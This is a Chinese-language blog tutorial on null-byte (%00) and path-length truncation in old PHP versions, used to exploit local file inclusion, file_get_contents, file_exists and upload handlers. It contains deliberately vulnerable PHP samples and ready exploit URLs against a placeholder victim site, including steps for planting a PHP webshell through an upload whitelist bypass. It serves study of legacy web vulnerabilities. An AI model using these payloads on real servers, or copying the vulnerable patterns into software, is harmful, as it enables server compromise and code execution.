include(require)
file_get_contents
file_exists
所有url中参数可以用%00控制
0x01. 本地文件包含
1.1 截断类型:php %00截断 截断条件:php版本小于5.3.4 详情关注
CVE-2006-7243php的
magic_quotes_gpc为OFF状态
<?php $temp = $_REQUEST['action'].".php"; include $temp; // include造成了LFI和php的%00截断?>要include的password文件
Password<?phpphpinfo();?>利用代码:lfi.php?action=password%00 注意:url正宗%00是被会url解码成0x00,所以可能导致截断。 password文件被成功包含并且执行phpinfo()函数。 如果没有截断条件,lfi.php就只能包含php扩展名的文件。 相反,如果有截断条件,lfi.php可以包含任意文件的扩展名。 当把
magic_quotes_gpc打开,php版本依然是5.2.9时,再测试,结果%00被转义成了\0两个单体字符,不再具有截断功能。
原因是:当打开magic_quotes_gpc时,所有的 '(单引号),"(双引号),\(反斜线)和 NULL字符(%00)都会被自动加上一个反斜线进行转义。还有很多函数有类似的作用 如:addslashes()、mysql_escape_string()、mysql_real_escape_string()等 当把magic_quotes_gpc关闭,php版本依然是5.3.10时,依然不能截断。所以证明,php版本和gpc两个条件都必须满足,才能截断。 除了上面的include、require、include_once、require_once还有file_get_contents也能配合php %00利用。 FileGetContents.php<?php$file = $_GET['file'].'PNG';$contents = file_get_contents($file);
file_put_contents('put.txt', $contents);?>利用方式: http://www.victim.com/FileGetContents.php?file=password%00 此时可以看到当前目录put.txt是上面password中的内容。Password<?phpphpinfo();?>1.2 文件路径长度截断 除了1.1说的%00可以截断,还可以用字符
.或者/.,或者./(注意顺序)来截断,不能纯用/,至于为什么,不能用其他字符,想必应该和php实现有关。 系统文件路径长度限制:windows 259个bytes
linux 4096个bytes
php版本为5.3.4以下(具体哪个版本不是很清楚,乌云上kukki写的5.2.8以下,这明显是不对的,因为我测试用的5.2.9)
GPC是否开启没关系
<?php $temp = $_REQUEST['action'].".php"; include $temp;echo $temp;?>在windows下需要
.字符最少的利用POC:lfi.php?action=password..............................................................................................................................................................................................................................................`成功包含,执行password里面的phpinfo函数
加上根目录路径一共为258个字节。所以需要的最少的.数为 258 - (lfi.php文件的路径长度即C:/wamp/www/+strlen('password'))
或者用./截断,最短的POC为,并且最短路径长度为258lfi.php?action=password./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././将password文件名改为password123后,最短的POC为,最短路径长度依然为258
lfi.php?password123/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././注意这两者一个是/开始,一个是.开始,这和路径长度的奇偶有关系,真正遇到这样的情况,就丢很长的
/.,最后再跳整下第一个/或者.即可。 linux就自行测试吧。0x02. 文件上传
截断类型:php的%00截断。所以截断的条件依然是php %00截断的条件php版本5.3.4以下
gpc关闭
php版本5.2.9
gpc关闭
<html>
<body>
<h2> File Upload Vulnerability </h2>
<form action="" method="post" enctype="multipart/form-data">
<label>文件:</label>
<input type="file" name = "file" > <!-- 选择文件,第二个name是file类型的名字,php中$_FILES第一个参数-->
<input type="submit" value="submit" name = "upload">
</form>
</body>
</html><?phperror_reporting(0);if(isset($_POST['upload']))
{ $ext_arr = array('flv','swf','mp3','mp4','3gp','zip','rar','gif','jpg','png','bmp'); $file_ext = substr($_FILES['file']['name'],strrpos($_FILES['file']['name'],".")+1); if(in_array($file_ext,$ext_arr))
{ $tempFile = $_FILES['file']['tmp_name']; // 这句话的$_REQUEST['jieduan']造成可以利用截断上传
$targetPath = $_SERVER['DOCUMENT_ROOT'].$_REQUEST['jieduan'].rand(10, 99).date("YmdHis").".".$file_ext; if(move_uploaded_file($tempFile,$targetPath))
{ echo '上传成功'.'<br>'; echo '路径:'.$targetPath;
} else
{ echo("上传失败");
}
}else{ echo("上传失败");
}
}?>这个漏洞代码是我YY的,可能实际情况不一定能够用上。只是证明截断可以达到上传的功能。 先将一个php木马重命名为上面扩展名为白名单的后缀,比如.jpg 访问:http://www.victim.com/upload.php?jieduan=xxoo.php%00 点击submit按钮,就在server上生成了一个xxoo.php的马。
0x03. file_exists判断文件是否存在
file_exists在判断文件存在的时候也有被截断的现象。 截断条件:php版本小于5.3.4
GPC关闭状态
<?php $file = $_GET['file'];$filename = $file . '.php';echo $filename . '<br>';if(! file_exists($filename)){ echo 'not exist';
}else{ include_once($filename); echo 'exist';
}?>当前目录存在一个shell.jpg文件,此时访问?file=shell.jpg%00,返回结果是文件存在。 有一个小技巧: 当上面文件第五行变成$filename = 'xxoo' . $file . '.php';,如果仍然要用shell.jpg,那么只需这样构造:?file=/../shell.jpg%00,利用/../回到当前目录。 在php中一些目录切换../表示上一层目录
./表示当前目录
/单独使用不能表示当前目录,只用xx/这样才能表示xx这个目录
本文标题:截断在文件包含和上传中的利用
本文链接:https://blog.quwenai.cn/post/9.html
版权声明:本文不使用任何协议授权,您可以任何形式自由转载或使用。






发表评论